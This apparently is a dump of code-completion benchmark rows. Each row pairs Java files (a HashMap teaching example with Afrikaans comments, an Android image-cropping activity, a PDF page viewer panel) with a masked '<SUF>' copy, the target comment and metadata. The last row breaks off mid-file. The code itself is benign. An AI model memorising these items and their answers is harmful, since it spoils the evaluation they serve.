//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ //kyk net of die spesifieke human in die hashmap is. if(map.containsKey("Person_1")) { Human use1 = map.get("Person_1"); // die get metode stuur 'n Human object terug // hier wil ek maar net die Human klas se mothods kan gebruik. System.out.println(use1.getname() + " Exists"); } System.out.println(); //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ String ja = ""; //skep die variable waarin ek 'n string wil bou for(Human names : map.values()) // omdat die map.values() die Values (wat objects van tiepe Human is) in die map aanstuur, { // stoor ek hulle in 'n names variable van tiepe Human. ja = ja + names.getname()+" "; //gebruik die Human variable (name) om die Human methods te gebruik, om 'n string te bou, wat al die name bevat } System.out.println(ja);// print die String System.out.println(); //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Human use2 = map.get("Person_2"); //map.get() stuur die Human Object terug [amper net soos map.Valuas() in 'n for loop] System.out.println(use2.getname() +" "+ use2.getSname()+" is "+ use2.getAge()); System.out.println(); // een manier hoe om die map values te gebruik //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // Hier is net 'n bewys dat wanneer daar 'n key value geadd word, wat alreeds in die HashMap bestaan, // dat dit heeltemal vervang word met die nuwe value. // dws die key map(point) nou na 'n nuwe object. Human p3 = new Human("koos ", "best", 50); map.put("Person_2", p3); Human use3 = map.get("Person_2"); System.out.println(use3.getname() +" "+ use3.getSname()+" is "+ use3.getAge()); //nou sien ons dat dit werklik gebeur het en dat die inskrywing (Sannie Pienaar, 20) //nie meer bestaan in die HashMap nie. //---------------------------------------------------------------------------------- //---------------------------------------------------------------------------------- } }
True
1,365
9
1,509
9
1,633
9
1,509
9
1,769
9
false
false
false
false
false
true
2,630
14352_25
// "Therefore those skilled at the unorthodox // are infinite as heaven and earth, // inexhaustible as the great rivers. // When they come to an end, // they begin again, // like the days and months; // they die and are reborn, // like the four seasons." // // - Sun Tsu, // "The Art of War" package com.theartofdev.edmodo.cropper; import android.Manifest; import android.annotation.SuppressLint; import android.app.Activity; import android.content.Intent; import android.content.pm.PackageManager; import android.graphics.Bitmap; import android.graphics.PorterDuff; import android.graphics.drawable.Drawable; import android.net.Uri; import android.os.Bundle; import androidx.annotation.NonNull; import androidx.core.content.ContextCompat; import androidx.appcompat.app.ActionBar; import androidx.appcompat.app.AppCompatActivity; import android.util.Log; import android.view.Menu; import android.view.MenuItem; import android.widget.Toast; import java.io.File; import java.io.IOException; /** * Built-in activity for image cropping.<br> * Use {@link CropImage#activity(Uri)} to create a builder to start this activity. */ public class CropImageActivity extends AppCompatActivity implements CropImageView.OnSetImageUriCompleteListener, CropImageView.OnCropImageCompleteListener { /** The crop image view library widget used in the activity */ private CropImageView mCropImageView; /** Persist URI image to crop URI if specific permissions are required */ private Uri mCropImageUri; /** the options that were set for the crop image */ private CropImageOptions mOptions; @Override @SuppressLint("NewApi") public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.crop_image_activity); mCropImageView = findViewById(R.id.cropImageView); Bundle bundle = getIntent().getBundleExtra(CropImage.CROP_IMAGE_EXTRA_BUNDLE); mCropImageUri = bundle.getParcelable(CropImage.CROP_IMAGE_EXTRA_SOURCE); mOptions = bundle.getParcelable(CropImage.CROP_IMAGE_EXTRA_OPTIONS); if (savedInstanceState == null) { if (mCropImageUri == null || mCropImageUri.equals(Uri.EMPTY)) { if (CropImage.isExplicitCameraPermissionRequired(this)) { // request permissions and handle the result in onRequestPermissionsResult() requestPermissions( new String[] {Manifest.permission.CAMERA}, CropImage.CAMERA_CAPTURE_PERMISSIONS_REQUEST_CODE); } else { CropImage.startPickImageActivity(this); } } else if (CropImage.isReadExternalStoragePermissionsRequired(this, mCropImageUri)) { // request permissions and handle the result in onRequestPermissionsResult() requestPermissions( new String[] {Manifest.permission.READ_EXTERNAL_STORAGE}, CropImage.PICK_IMAGE_PERMISSIONS_REQUEST_CODE); } else { // no permissions required or already grunted, can start crop image activity mCropImageView.setImageUriAsync(mCropImageUri); } } ActionBar actionBar = getSupportActionBar(); if (actionBar != null) { CharSequence title = mOptions != null && mOptions.activityTitle != null && mOptions.activityTitle.length() > 0 ? mOptions.activityTitle : getResources().getString(R.string.crop_image_activity_title); actionBar.setTitle(title); actionBar.setDisplayHomeAsUpEnabled(true); } } @Override protected void onStart() { super.onStart(); mCropImageView.setOnSetImageUriCompleteListener(this); mCropImageView.setOnCropImageCompleteListener(this); } @Override protected void onStop() { super.onStop(); mCropImageView.setOnSetImageUriCompleteListener(null); mCropImageView.setOnCropImageCompleteListener(null); } @Override public boolean onCreateOptionsMenu(Menu menu) { getMenuInflater().inflate(R.menu.crop_image_menu, menu); if (!mOptions.allowRotation) { menu.removeItem(R.id.crop_image_menu_rotate_left); menu.removeItem(R.id.crop_image_menu_rotate_right); } else if (mOptions.allowCounterRotation) { menu.findItem(R.id.crop_image_menu_rotate_left).setVisible(true); } if (!mOptions.allowFlipping) { menu.removeItem(R.id.crop_image_menu_flip); } if (mOptions.cropMenuCropButtonTitle != null) { menu.findItem(R.id.crop_image_menu_crop).setTitle(mOptions.cropMenuCropButtonTitle); } Drawable cropIcon = null; try { if (mOptions.cropMenuCropButtonIcon != 0) { cropIcon = ContextCompat.getDrawable(this, mOptions.cropMenuCropButtonIcon); menu.findItem(R.id.crop_image_menu_crop).setIcon(cropIcon); } } catch (Exception e) { Log.w("AIC", "Failed to read menu crop drawable", e); } if (mOptions.activityMenuIconColor != 0) { updateMenuItemIconColor( menu, R.id.crop_image_menu_rotate_left, mOptions.activityMenuIconColor); updateMenuItemIconColor( menu, R.id.crop_image_menu_rotate_right, mOptions.activityMenuIconColor); updateMenuItemIconColor(menu, R.id.crop_image_menu_flip, mOptions.activityMenuIconColor); if (cropIcon != null) { updateMenuItemIconColor(menu, R.id.crop_image_menu_crop, mOptions.activityMenuIconColor); } } return true; } @Override public boolean onOptionsItemSelected(MenuItem item) { if (item.getItemId() == R.id.crop_image_menu_crop) { cropImage(); return true; } if (item.getItemId() == R.id.crop_image_menu_rotate_left) { rotateImage(-mOptions.rotationDegrees); return true; } if (item.getItemId() == R.id.crop_image_menu_rotate_right) { rotateImage(mOptions.rotationDegrees); return true; } if (item.getItemId() == R.id.crop_image_menu_flip_horizontally) { mCropImageView.flipImageHorizontally(); return true; } if (item.getItemId() == R.id.crop_image_menu_flip_vertically) { mCropImageView.flipImageVertically(); return true; } if (item.getItemId() == android.R.id.home) { setResultCancel(); return true; } return super.onOptionsItemSelected(item); } @Override public void onBackPressed() { super.onBackPressed(); setResultCancel(); } @Override @SuppressLint("NewApi") protected void onActivityResult(int requestCode, int resultCode, Intent data) { // handle result of pick image chooser if (requestCode == CropImage.PICK_IMAGE_CHOOSER_REQUEST_CODE) { if (resultCode == Activity.RESULT_CANCELED) { // User cancelled the picker. We don't have anything to crop setResultCancel(); } if (resultCode == Activity.RESULT_OK) { mCropImageUri = CropImage.getPickImageResultUri(this, data); // For API >= 23 we need to check specifically that we have permissions to read external // storage. if (CropImage.isReadExternalStoragePermissionsRequired(this, mCropImageUri)) { // request permissions and handle the result in onRequestPermissionsResult() requestPermissions( new String[] {Manifest.permission.READ_EXTERNAL_STORAGE}, CropImage.PICK_IMAGE_PERMISSIONS_REQUEST_CODE); } else { // no permissions required or already grunted, can start crop image activity mCropImageView.setImageUriAsync(mCropImageUri); } } } } @Override public void onRequestPermissionsResult( int requestCode, @NonNull String permissions[], @NonNull int[] grantResults) { if (requestCode == CropImage.PICK_IMAGE_PERMISSIONS_REQUEST_CODE) { if (mCropImageUri != null && grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) { // required permissions granted, start crop image activity mCropImageView.setImageUriAsync(mCropImageUri); } else { Toast.makeText(this, R.string.crop_image_activity_no_permissions, Toast.LENGTH_LONG).show(); setResultCancel(); } } if (requestCode == CropImage.CAMERA_CAPTURE_PERMISSIONS_REQUEST_CODE) { // Irrespective of whether camera permission was given or not, we show the picker // The picker will not add the camera intent if permission is not available CropImage.startPickImageActivity(this); } } @Override public void onSetImageUriComplete(CropImageView view, Uri uri, Exception error) { if (error == null) { if (mOptions.initialCropWindowRectangle != null) { mCropImageView.setCropRect(mOptions.initialCropWindowRectangle); } if (mOptions.initialRotation > -1) { mCropImageView.setRotatedDegrees(mOptions.initialRotation); } } else { setResult(null, error, 1); } } @Override public void onCropImageComplete(CropImageView view, CropImageView.CropResult result) { setResult(result.getUri(), result.getError(), result.getSampleSize()); } // region: Private methods /** Execute crop image and save the result tou output uri. */ protected void cropImage() { if (mOptions.noOutputImage) { setResult(null, null, 1); } else { Uri outputUri = getOutputUri(); mCropImageView.saveCroppedImageAsync( outputUri, mOptions.outputCompressFormat, mOptions.outputCompressQuality, mOptions.outputRequestWidth, mOptions.outputRequestHeight, mOptions.outputRequestSizeOptions); } } /** Rotate the image in the crop image view. */ protected void rotateImage(int degrees) { mCropImageView.rotateImage(degrees); } /** * Get Android uri to save the cropped image into.<br> * Use the given in options or create a temp file. */ protected Uri getOutputUri() { Uri outputUri = mOptions.outputUri; if (outputUri == null || outputUri.equals(Uri.EMPTY)) { try { String ext = mOptions.outputCompressFormat == Bitmap.CompressFormat.JPEG ? ".jpg" : mOptions.outputCompressFormat == Bitmap.CompressFormat.PNG ? ".png" : ".webp"; outputUri = Uri.fromFile(File.createTempFile("cropped", ext, getCacheDir())); } catch (IOException e) { throw new RuntimeException("Failed to create temp file for output image", e); } } return outputUri; } /** Result with cropped image data or error if failed. */ protected void setResult(Uri uri, Exception error, int sampleSize) { int resultCode = error == null ? RESULT_OK : CropImage.CROP_IMAGE_ACTIVITY_RESULT_ERROR_CODE; setResult(resultCode, getResultIntent(uri, error, sampleSize)); finish(); } /** Cancel of cropping activity. */ protected void setResultCancel() { setResult(RESULT_CANCELED); finish(); } /** Get intent instance to be used for the result of this activity. */ protected Intent getResultIntent(Uri uri, Exception error, int sampleSize) { CropImage.ActivityResult result = new CropImage.ActivityResult( mCropImageView.getImageUri(), uri, error, mCropImageView.getCropPoints(), mCropImageView.getCropRect(), mCropImageView.getRotatedDegrees(), mCropImageView.getWholeImageRect(), sampleSize); Intent intent = new Intent(); intent.putExtras(getIntent()); intent.putExtra(CropImage.CROP_IMAGE_EXTRA_RESULT, result); return intent; } /** Update the color of a specific menu item to the given color. */ private void updateMenuItemIconColor(Menu menu, int itemId, int color) { MenuItem menuItem = menu.findItem(itemId); if (menuItem != null) { Drawable menuItemIcon = menuItem.getIcon(); if (menuItemIcon != null) { try { menuItemIcon.mutate(); menuItemIcon.setColorFilter(color, PorterDuff.Mode.SRC_ATOP); menuItem.setIcon(menuItemIcon); } catch (Exception e) { Log.w("AIC", "Failed to update menu item color", e); } } } } // endregion }
ejdea/ProjectDoom
DoodleMaze/app/src/main/java/com/theartofdev/edmodo/cropper/CropImageActivity.java
3,817
// region: Private methods
line_comment
nl
// "Therefore those skilled at the unorthodox // are infinite as heaven and earth, // inexhaustible as the great rivers. // When they come to an end, // they begin again, // like the days and months; // they die and are reborn, // like the four seasons." // // - Sun Tsu, // "The Art of War" package com.theartofdev.edmodo.cropper; import android.Manifest; import android.annotation.SuppressLint; import android.app.Activity; import android.content.Intent; import android.content.pm.PackageManager; import android.graphics.Bitmap; import android.graphics.PorterDuff; import android.graphics.drawable.Drawable; import android.net.Uri; import android.os.Bundle; import androidx.annotation.NonNull; import androidx.core.content.ContextCompat; import androidx.appcompat.app.ActionBar; import androidx.appcompat.app.AppCompatActivity; import android.util.Log; import android.view.Menu; import android.view.MenuItem; import android.widget.Toast; import java.io.File; import java.io.IOException; /** * Built-in activity for image cropping.<br> * Use {@link CropImage#activity(Uri)} to create a builder to start this activity. */ public class CropImageActivity extends AppCompatActivity implements CropImageView.OnSetImageUriCompleteListener, CropImageView.OnCropImageCompleteListener { /** The crop image view library widget used in the activity */ private CropImageView mCropImageView; /** Persist URI image to crop URI if specific permissions are required */ private Uri mCropImageUri; /** the options that were set for the crop image */ private CropImageOptions mOptions; @Override @SuppressLint("NewApi") public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.crop_image_activity); mCropImageView = findViewById(R.id.cropImageView); Bundle bundle = getIntent().getBundleExtra(CropImage.CROP_IMAGE_EXTRA_BUNDLE); mCropImageUri = bundle.getParcelable(CropImage.CROP_IMAGE_EXTRA_SOURCE); mOptions = bundle.getParcelable(CropImage.CROP_IMAGE_EXTRA_OPTIONS); if (savedInstanceState == null) { if (mCropImageUri == null || mCropImageUri.equals(Uri.EMPTY)) { if (CropImage.isExplicitCameraPermissionRequired(this)) { // request permissions and handle the result in onRequestPermissionsResult() requestPermissions( new String[] {Manifest.permission.CAMERA}, CropImage.CAMERA_CAPTURE_PERMISSIONS_REQUEST_CODE); } else { CropImage.startPickImageActivity(this); } } else if (CropImage.isReadExternalStoragePermissionsRequired(this, mCropImageUri)) { // request permissions and handle the result in onRequestPermissionsResult() requestPermissions( new String[] {Manifest.permission.READ_EXTERNAL_STORAGE}, CropImage.PICK_IMAGE_PERMISSIONS_REQUEST_CODE); } else { // no permissions required or already grunted, can start crop image activity mCropImageView.setImageUriAsync(mCropImageUri); } } ActionBar actionBar = getSupportActionBar(); if (actionBar != null) { CharSequence title = mOptions != null && mOptions.activityTitle != null && mOptions.activityTitle.length() > 0 ? mOptions.activityTitle : getResources().getString(R.string.crop_image_activity_title); actionBar.setTitle(title); actionBar.setDisplayHomeAsUpEnabled(true); } } @Override protected void onStart() { super.onStart(); mCropImageView.setOnSetImageUriCompleteListener(this); mCropImageView.setOnCropImageCompleteListener(this); } @Override protected void onStop() { super.onStop(); mCropImageView.setOnSetImageUriCompleteListener(null); mCropImageView.setOnCropImageCompleteListener(null); } @Override public boolean onCreateOptionsMenu(Menu menu) { getMenuInflater().inflate(R.menu.crop_image_menu, menu); if (!mOptions.allowRotation) { menu.removeItem(R.id.crop_image_menu_rotate_left); menu.removeItem(R.id.crop_image_menu_rotate_right); } else if (mOptions.allowCounterRotation) { menu.findItem(R.id.crop_image_menu_rotate_left).setVisible(true); } if (!mOptions.allowFlipping) { menu.removeItem(R.id.crop_image_menu_flip); } if (mOptions.cropMenuCropButtonTitle != null) { menu.findItem(R.id.crop_image_menu_crop).setTitle(mOptions.cropMenuCropButtonTitle); } Drawable cropIcon = null; try { if (mOptions.cropMenuCropButtonIcon != 0) { cropIcon = ContextCompat.getDrawable(this, mOptions.cropMenuCropButtonIcon); menu.findItem(R.id.crop_image_menu_crop).setIcon(cropIcon); } } catch (Exception e) { Log.w("AIC", "Failed to read menu crop drawable", e); } if (mOptions.activityMenuIconColor != 0) { updateMenuItemIconColor( menu, R.id.crop_image_menu_rotate_left, mOptions.activityMenuIconColor); updateMenuItemIconColor( menu, R.id.crop_image_menu_rotate_right, mOptions.activityMenuIconColor); updateMenuItemIconColor(menu, R.id.crop_image_menu_flip, mOptions.activityMenuIconColor); if (cropIcon != null) { updateMenuItemIconColor(menu, R.id.crop_image_menu_crop, mOptions.activityMenuIconColor); } } return true; } @Override public boolean onOptionsItemSelected(MenuItem item) { if (item.getItemId() == R.id.crop_image_menu_crop) { cropImage(); return true; } if (item.getItemId() == R.id.crop_image_menu_rotate_left) { rotateImage(-mOptions.rotationDegrees); return true; } if (item.getItemId() == R.id.crop_image_menu_rotate_right) { rotateImage(mOptions.rotationDegrees); return true; } if (item.getItemId() == R.id.crop_image_menu_flip_horizontally) { mCropImageView.flipImageHorizontally(); return true; } if (item.getItemId() == R.id.crop_image_menu_flip_vertically) { mCropImageView.flipImageVertically(); return true; } if (item.getItemId() == android.R.id.home) { setResultCancel(); return true; } return super.onOptionsItemSelected(item); } @Override public void onBackPressed() { super.onBackPressed(); setResultCancel(); } @Override @SuppressLint("NewApi") protected void onActivityResult(int requestCode, int resultCode, Intent data) { // handle result of pick image chooser if (requestCode == CropImage.PICK_IMAGE_CHOOSER_REQUEST_CODE) { if (resultCode == Activity.RESULT_CANCELED) { // User cancelled the picker. We don't have anything to crop setResultCancel(); } if (resultCode == Activity.RESULT_OK) { mCropImageUri = CropImage.getPickImageResultUri(this, data); // For API >= 23 we need to check specifically that we have permissions to read external // storage. if (CropImage.isReadExternalStoragePermissionsRequired(this, mCropImageUri)) { // request permissions and handle the result in onRequestPermissionsResult() requestPermissions( new String[] {Manifest.permission.READ_EXTERNAL_STORAGE}, CropImage.PICK_IMAGE_PERMISSIONS_REQUEST_CODE); } else { // no permissions required or already grunted, can start crop image activity mCropImageView.setImageUriAsync(mCropImageUri); } } } } @Override public void onRequestPermissionsResult( int requestCode, @NonNull String permissions[], @NonNull int[] grantResults) { if (requestCode == CropImage.PICK_IMAGE_PERMISSIONS_REQUEST_CODE) { if (mCropImageUri != null && grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) { // required permissions granted, start crop image activity mCropImageView.setImageUriAsync(mCropImageUri); } else { Toast.makeText(this, R.string.crop_image_activity_no_permissions, Toast.LENGTH_LONG).show(); setResultCancel(); } } if (requestCode == CropImage.CAMERA_CAPTURE_PERMISSIONS_REQUEST_CODE) { // Irrespective of whether camera permission was given or not, we show the picker // The picker will not add the camera intent if permission is not available CropImage.startPickImageActivity(this); } } @Override public void onSetImageUriComplete(CropImageView view, Uri uri, Exception error) { if (error == null) { if (mOptions.initialCropWindowRectangle != null) { mCropImageView.setCropRect(mOptions.initialCropWindowRectangle); } if (mOptions.initialRotation > -1) { mCropImageView.setRotatedDegrees(mOptions.initialRotation); } } else { setResult(null, error, 1); } } @Override public void onCropImageComplete(CropImageView view, CropImageView.CropResult result) { setResult(result.getUri(), result.getError(), result.getSampleSize()); } // region: Private<SUF> /** Execute crop image and save the result tou output uri. */ protected void cropImage() { if (mOptions.noOutputImage) { setResult(null, null, 1); } else { Uri outputUri = getOutputUri(); mCropImageView.saveCroppedImageAsync( outputUri, mOptions.outputCompressFormat, mOptions.outputCompressQuality, mOptions.outputRequestWidth, mOptions.outputRequestHeight, mOptions.outputRequestSizeOptions); } } /** Rotate the image in the crop image view. */ protected void rotateImage(int degrees) { mCropImageView.rotateImage(degrees); } /** * Get Android uri to save the cropped image into.<br> * Use the given in options or create a temp file. */ protected Uri getOutputUri() { Uri outputUri = mOptions.outputUri; if (outputUri == null || outputUri.equals(Uri.EMPTY)) { try { String ext = mOptions.outputCompressFormat == Bitmap.CompressFormat.JPEG ? ".jpg" : mOptions.outputCompressFormat == Bitmap.CompressFormat.PNG ? ".png" : ".webp"; outputUri = Uri.fromFile(File.createTempFile("cropped", ext, getCacheDir())); } catch (IOException e) { throw new RuntimeException("Failed to create temp file for output image", e); } } return outputUri; } /** Result with cropped image data or error if failed. */ protected void setResult(Uri uri, Exception error, int sampleSize) { int resultCode = error == null ? RESULT_OK : CropImage.CROP_IMAGE_ACTIVITY_RESULT_ERROR_CODE; setResult(resultCode, getResultIntent(uri, error, sampleSize)); finish(); } /** Cancel of cropping activity. */ protected void setResultCancel() { setResult(RESULT_CANCELED); finish(); } /** Get intent instance to be used for the result of this activity. */ protected Intent getResultIntent(Uri uri, Exception error, int sampleSize) { CropImage.ActivityResult result = new CropImage.ActivityResult( mCropImageView.getImageUri(), uri, error, mCropImageView.getCropPoints(), mCropImageView.getCropRect(), mCropImageView.getRotatedDegrees(), mCropImageView.getWholeImageRect(), sampleSize); Intent intent = new Intent(); intent.putExtras(getIntent()); intent.putExtra(CropImage.CROP_IMAGE_EXTRA_RESULT, result); return intent; } /** Update the color of a specific menu item to the given color. */ private void updateMenuItemIconColor(Menu menu, int itemId, int color) { MenuItem menuItem = menu.findItem(itemId); if (menuItem != null) { Drawable menuItemIcon = menuItem.getIcon(); if (menuItemIcon != null) { try { menuItemIcon.mutate(); menuItemIcon.setColorFilter(color, PorterDuff.Mode.SRC_ATOP); menuItem.setIcon(menuItemIcon); } catch (Exception e) { Log.w("AIC", "Failed to update menu item color", e); } } } } // endregion }
False
2,567
5
3,078
5
3,230
5
3,078
5
3,682
5
false
false
false
false
false
true
2,921
8328_3
/* ****************************************************************************** * * Copyright 2008-2010 Hans Dijkema * * JRichTextEditor is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as * published by the Free Software Foundation, either version 3 of * the License, or (at your option) any later version. * * JRichTextEditor is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with JRichTextEditor. If not, see <http://www.gnu.org/licenses/>. * * ******************************************************************************/ package nl.dykema.jxmlnote.report.viewers; /* * $Id: Jzc3ImagePanel.java,v 1.13 2009/04/15 21:22:45 cvs Exp $ * * This source code is copyright of Hans Dijkema. * © 2008-2009 Hans Dijkema. All rights reserved. * * This source code is property of it's author: Hans Dijkema. * Nothing of this code may be copied, (re)used or multiplied without * permission of the author. */ import java.awt.Color; import java.awt.Dimension; import java.awt.Graphics; import java.awt.Graphics2D; import java.awt.Image; import java.awt.Rectangle; import java.awt.event.ActionListener; import java.awt.event.ComponentEvent; import java.awt.event.ComponentListener; import java.awt.image.BufferedImage; import java.awt.print.PageFormat; import java.util.HashSet; import java.util.Set; import javax.swing.JPanel; import javax.swing.JScrollPane; import javax.swing.ScrollPaneConstants; import javax.swing.SwingWorker; import nl.dykema.jxmlnote.utils.DPIAdjuster; import com.sun.pdfview.PDFPage; public class PdfPagePanel extends JScrollPane { private static final long serialVersionUID = 1L; public static final int PAGE_FIT_WIDTH=1; public static final int PAGE_FIT_HEIGHT=2; public static final int PAGE_FIT_NONE=3; private Image _img; private JImagePanel _image; private Set<ActionListener> _listeners; private int _fit=PAGE_FIT_NONE; private double _zoom=1.0; private PageFormat _pageFormat; private int _imageWidth; private int _imageHeight; private PDFPage _page; private ZoomListener _zoomListener; public interface ZoomListener { public void zoomed(double z); } private Color panelColorBg() { return Color.gray; } class JImagePanel extends JPanel { public void paint(Graphics _g) { Graphics2D g=(Graphics2D) _g; g.setColor(panelColorBg()); Dimension d=PdfPagePanel.this.getViewport().getExtentSize(); g.fillRect(0, 0, d.width,d.height); if (_img!=null) { g.drawImage(_img,0,0,_img.getWidth(this),_img.getHeight(this),this); } } public JImagePanel() { } } public interface ImageProvider { public BufferedImage image() throws Exception; public void done(); } public void addActionListener(ActionListener a) { _listeners.add(a); } public void removeActionListener(ActionListener a) { _listeners.remove(a); } public void showPage(PDFPage page) { Dimension d=new Dimension((int) _pageFormat.getWidth(),(int) _pageFormat.getHeight()); Dimension dScreen=DPIAdjuster.getDimensionForScreenDPI(d); int width=dScreen.width; int height=dScreen.height; _imageWidth=width; _imageHeight=height; _page=page; doIt(); } public PDFPage getPage() { return _page; } public int getImageWidth() { return _imageWidth; } public int getImageHeight() { return _imageHeight; } private void doIt() { class worker extends SwingWorker<String,String> { private Dimension _panelSize; private Image _ww=null; public String doInBackground() { if (_page!=null) { //Dimension sz=_page.getUnstretchedSize((int) _pageFormat.getWidth (), // (int) _pageFormat.getHeight (),_page.getBBox ()); //Rectangle wholePage=new Rectangle(0,0,(int) _page.getBBox().getWidth(),(int) _page.getBBox().getHeight()); Rectangle wholePage; if (_page.getRotation()==90) { wholePage=new Rectangle(0,0,(int) _page.getHeight(),(int) _page.getWidth()); } else { wholePage=new Rectangle(0,0,(int) _page.getWidth(),(int) _page.getHeight()); } //wholePage=new Rectangle(0,0,(int) _page.getHeight(),(int) _page.getWidth()); //Fixed: HIER MOETEN WE IETS MEE (MET ROTATIE, LANDSCAPE, ETC.). if (_fit==PAGE_FIT_NONE) { int w,h; if (_page.getRotation()==90) { w=(int) Math.round(getImageHeight()*_zoom); h=(int) Math.round(getImageWidth()*_zoom); } else { w=(int) Math.round(getImageWidth()*_zoom); h=(int) Math.round(getImageHeight()*_zoom); } _img=_page.getImage(w, h, wholePage, null, true, true); _ww=_img; } else if (_fit==PAGE_FIT_WIDTH) { int w=_panelSize.width; int h=(int) (w/_page.getAspectRatio()); _zoom=((double) w)/wholePage.getWidth()/DPIAdjuster.pointsToScreenFactor(); _img=_page.getImage(w, h, wholePage, null,true,true); _ww=_img; } else { int h=_panelSize.height; int w=(int) (h*_page.getAspectRatio()); _zoom=((double) h)/wholePage.getHeight()/DPIAdjuster.pointsToScreenFactor();; _img=_page.getImage(w, h, wholePage, null,true,true); _ww=_img; } } return "done"; } protected void done() { if (_ww!=null) { Dimension d=new Dimension(_ww.getWidth(null),_ww.getHeight(null)); _image.setSize(d); _image.setPreferredSize(d); PdfPagePanel.this.setViewportView(_image); if (_zoomListener!=null) { _zoomListener.zoomed(_zoom); } } } public worker() { _panelSize=PdfPagePanel.this.getViewport().getExtentSize(); } }; worker w=new worker(); w.execute(); } public void zoomFitWidth(ZoomListener l) { _fit=PAGE_FIT_WIDTH; _zoomListener=l; doIt(); } public void zoomFitHeight(ZoomListener l) { _fit=PAGE_FIT_HEIGHT; _zoomListener=l; doIt(); } public void zoomFitNone(double zoom) { _fit=PAGE_FIT_NONE; _zoom=zoom; _zoomListener=null; doIt(); } public void setScrollUnitIncrement(int points) { super.getVerticalScrollBar().setUnitIncrement(points); } public int getScrollUnitIncrement() { return super.getVerticalScrollBar().getUnitIncrement(); } public PdfPagePanel(PageFormat f) { super(ScrollPaneConstants.VERTICAL_SCROLLBAR_ALWAYS,ScrollPaneConstants.HORIZONTAL_SCROLLBAR_ALWAYS); _pageFormat=f; _img=null; _image=new JImagePanel(); super.setViewportView(_image); _listeners=new HashSet<ActionListener>(); setScrollUnitIncrement(16); this.addComponentListener(new ComponentListener() { public void componentResized(ComponentEvent evt) { doIt(); } public void componentHidden(ComponentEvent arg0) { } public void componentMoved(ComponentEvent arg0) { } public void componentShown(ComponentEvent arg0) { } }); } }
hdijkema/JRichTextEditor
src/nl/dykema/jxmlnote/report/viewers/PdfPagePanel.java
2,603
// (int) _pageFormat.getHeight (),_page.getBBox ());
line_comment
nl
/* ****************************************************************************** * * Copyright 2008-2010 Hans Dijkema * * JRichTextEditor is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as * published by the Free Software Foundation, either version 3 of * the License, or (at your option) any later version. * * JRichTextEditor is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with JRichTextEditor. If not, see <http://www.gnu.org/licenses/>. * * ******************************************************************************/ package nl.dykema.jxmlnote.report.viewers; /* * $Id: Jzc3ImagePanel.java,v 1.13 2009/04/15 21:22:45 cvs Exp $ * * This source code is copyright of Hans Dijkema. * © 2008-2009 Hans Dijkema. All rights reserved. * * This source code is property of it's author: Hans Dijkema. * Nothing of this code may be copied, (re)used or multiplied without * permission of the author. */ import java.awt.Color; import java.awt.Dimension; import java.awt.Graphics; import java.awt.Graphics2D; import java.awt.Image; import java.awt.Rectangle; import java.awt.event.ActionListener; import java.awt.event.ComponentEvent; import java.awt.event.ComponentListener; import java.awt.image.BufferedImage; import java.awt.print.PageFormat; import java.util.HashSet; import java.util.Set; import javax.swing.JPanel; import javax.swing.JScrollPane; import javax.swing.ScrollPaneConstants; import javax.swing.SwingWorker; import nl.dykema.jxmlnote.utils.DPIAdjuster; import com.sun.pdfview.PDFPage; public class PdfPagePanel extends JScrollPane { private static final long serialVersionUID = 1L; public static final int PAGE_FIT_WIDTH=1; public static final int PAGE_FIT_HEIGHT=2; public static final int PAGE_FIT_NONE=3; private Image _img; private JImagePanel _image; private Set<ActionListener> _listeners; private int _fit=PAGE_FIT_NONE; private double _zoom=1.0; private PageFormat _pageFormat; private int _imageWidth; private int _imageHeight; private PDFPage _page; private ZoomListener _zoomListener; public interface ZoomListener { public void zoomed(double z); } private Color panelColorBg() { return Color.gray; } class JImagePanel extends JPanel { public void paint(Graphics _g) { Graphics2D g=(Graphics2D) _g; g.setColor(panelColorBg()); Dimension d=PdfPagePanel.this.getViewport().getExtentSize(); g.fillRect(0, 0, d.width,d.height); if (_img!=null) { g.drawImage(_img,0,0,_img.getWidth(this),_img.getHeight(this),this); } } public JImagePanel() { } } public interface ImageProvider { public BufferedImage image() throws Exception; public void done(); } public void addActionListener(ActionListener a) { _listeners.add(a); } public void removeActionListener(ActionListener a) { _listeners.remove(a); } public void showPage(PDFPage page) { Dimension d=new Dimension((int) _pageFormat.getWidth(),(int) _pageFormat.getHeight()); Dimension dScreen=DPIAdjuster.getDimensionForScreenDPI(d); int width=dScreen.width; int height=dScreen.height; _imageWidth=width; _imageHeight=height; _page=page; doIt(); } public PDFPage getPage() { return _page; } public int getImageWidth() { return _imageWidth; } public int getImageHeight() { return _imageHeight; } private void doIt() { class worker extends SwingWorker<String,String> { private Dimension _panelSize; private Image _ww=null; public String doInBackground() { if (_page!=null) { //Dimension sz=_page.getUnstretchedSize((int) _pageFormat.getWidth (), // (int) _pageFormat.getHeight<SUF> //Rectangle wholePage=new Rectangle(0,0,(int) _page.getBBox().getWidth(),(int) _page.getBBox().getHeight()); Rectangle wholePage; if (_page.getRotation()==90) { wholePage=new Rectangle(0,0,(int) _page.getHeight(),(int) _page.getWidth()); } else { 